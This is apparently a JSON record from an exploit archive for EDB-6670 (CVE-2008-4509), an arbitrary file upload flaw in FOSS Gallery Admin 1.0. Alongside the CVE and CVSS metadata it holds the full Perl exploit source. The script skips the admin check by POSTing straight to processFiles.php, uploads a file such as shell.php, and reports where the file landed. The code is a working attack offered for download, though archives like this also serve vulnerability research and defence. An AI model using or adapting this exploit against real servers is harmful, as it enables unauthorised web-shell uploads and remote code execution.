{"exploit":{"id":"EDB-6670","name":"FOSS Gallery Admin 1.0 - Arbitrary File Upload","description":"FOSS Gallery Admin 1.0 - Arbitrary File Upload","cves":["CVE-2008-4509"],"author":"Pepelux","published":"2008-10-04","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/6670","path":"exploits/php/webapps/6670.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-6670.pl","vulnerabilities":[{"id":"CVE-2008-4509","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unrestricted file upload vulnerability in processFiles.php in FOSS Gallery Admin and FOSS Gallery Public 1.0 beta allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in the root directory.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-4509","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-4509"},"updatedAt":"2024-08-07T10:17:09.838Z","retrievedAt":"2026-11-26T14:24:21.783Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-6670.png?v=2","url":"https://exploitbin.com/exploits/EDB-6670","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-6670/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-6670/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n\n# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n# FOSS Gallery Admin Version <= 1.0 / Remote Arbitrary Upload Vulnerability\n# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n# Program: FOSS Gallery Admin Version\n# Version: <= 1.0\n# File affected: processFiles.php\n# Download: http://sourceforge.net/projects/fossgallery/\n#\n#\n# Found by Pepelux <pepelux[at]enye-sec.org>\n# eNYe-Sec - www.enye-sec.org\n#\n# Upload images is only allowed to the admin but the process to upload has\n# 3 steps (with 3 pages). only the first page check the user permissions.\n#\n# STEPS:\n# uploadForm1.php -> ask for the number of files you wish to upload\n# uploadForm2.php -> ask for the files to upload\n# processFiles.php -> process the file(s)\n#\n# Also image format is not validated and you can upload any file.\n#\n# You can POST directly in the 3th step (processFiles.php):\n# - uploadNeed = 1 ... we only need to upload 1 file\n# - uploadFile0 = shell.php ... the file to upload\n\n\n\nuse LWP::UserAgent;\nuse HTTP::Request::Common;\nuse HTTP::Headers;\n\nmy ($host, $file) = @ARGV ;\n\n\n\nunless($ARGV[1]){\n\n\tprint \"\\nUsage: perl $0 <host> <file_to_upload>\\n\";\n\n\tprint \"\\tex: perl $0 http://localhost shell.php\\n\\n\";\n\n\texit 1;\n\n}\n\n\n$host = 'http://'.$host if ($host !~ /^http:/);\n\n$host .= \"/\" if ($host !~ /\\/\\$/);\n\n\nmy $ua = LWP::UserAgent->new();\n$ua->agent(\"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1\");\n\n$ua->timeout(10);\n\nmy $request = HTTP::Request->new();\nmy $response;\nmy $header;\nmy $url = $host.\"processFiles.php\";\n\n$response = $ua->request(POST $url, Content_Type => 'form-data',\n\t\t\t\t\tContent => [ uploadNeed => \"1\", uploadFile0 => [$file]]);\n\n$content = $response->content;\n\n\n\nif ($content =~ /uploaded sucessful/) { print \"\\nExploited sucessfully. File located in:\\n\".$host.$file.\"\\n\"; }\nelse { print \"\\nExploit failed\\n\"; }\n\n\nexit;\n\n# milw0rm.com [2008-10-04]","sha256":"f000651bd587281d108b9e43bf43d344a502c4f7a8d6656cc0994826532f52d2","bytes":1952,"fetchedAt":"2026-11-27T12:10:20.235Z","encoding":"utf-8 (display only; download retains original bytes)"}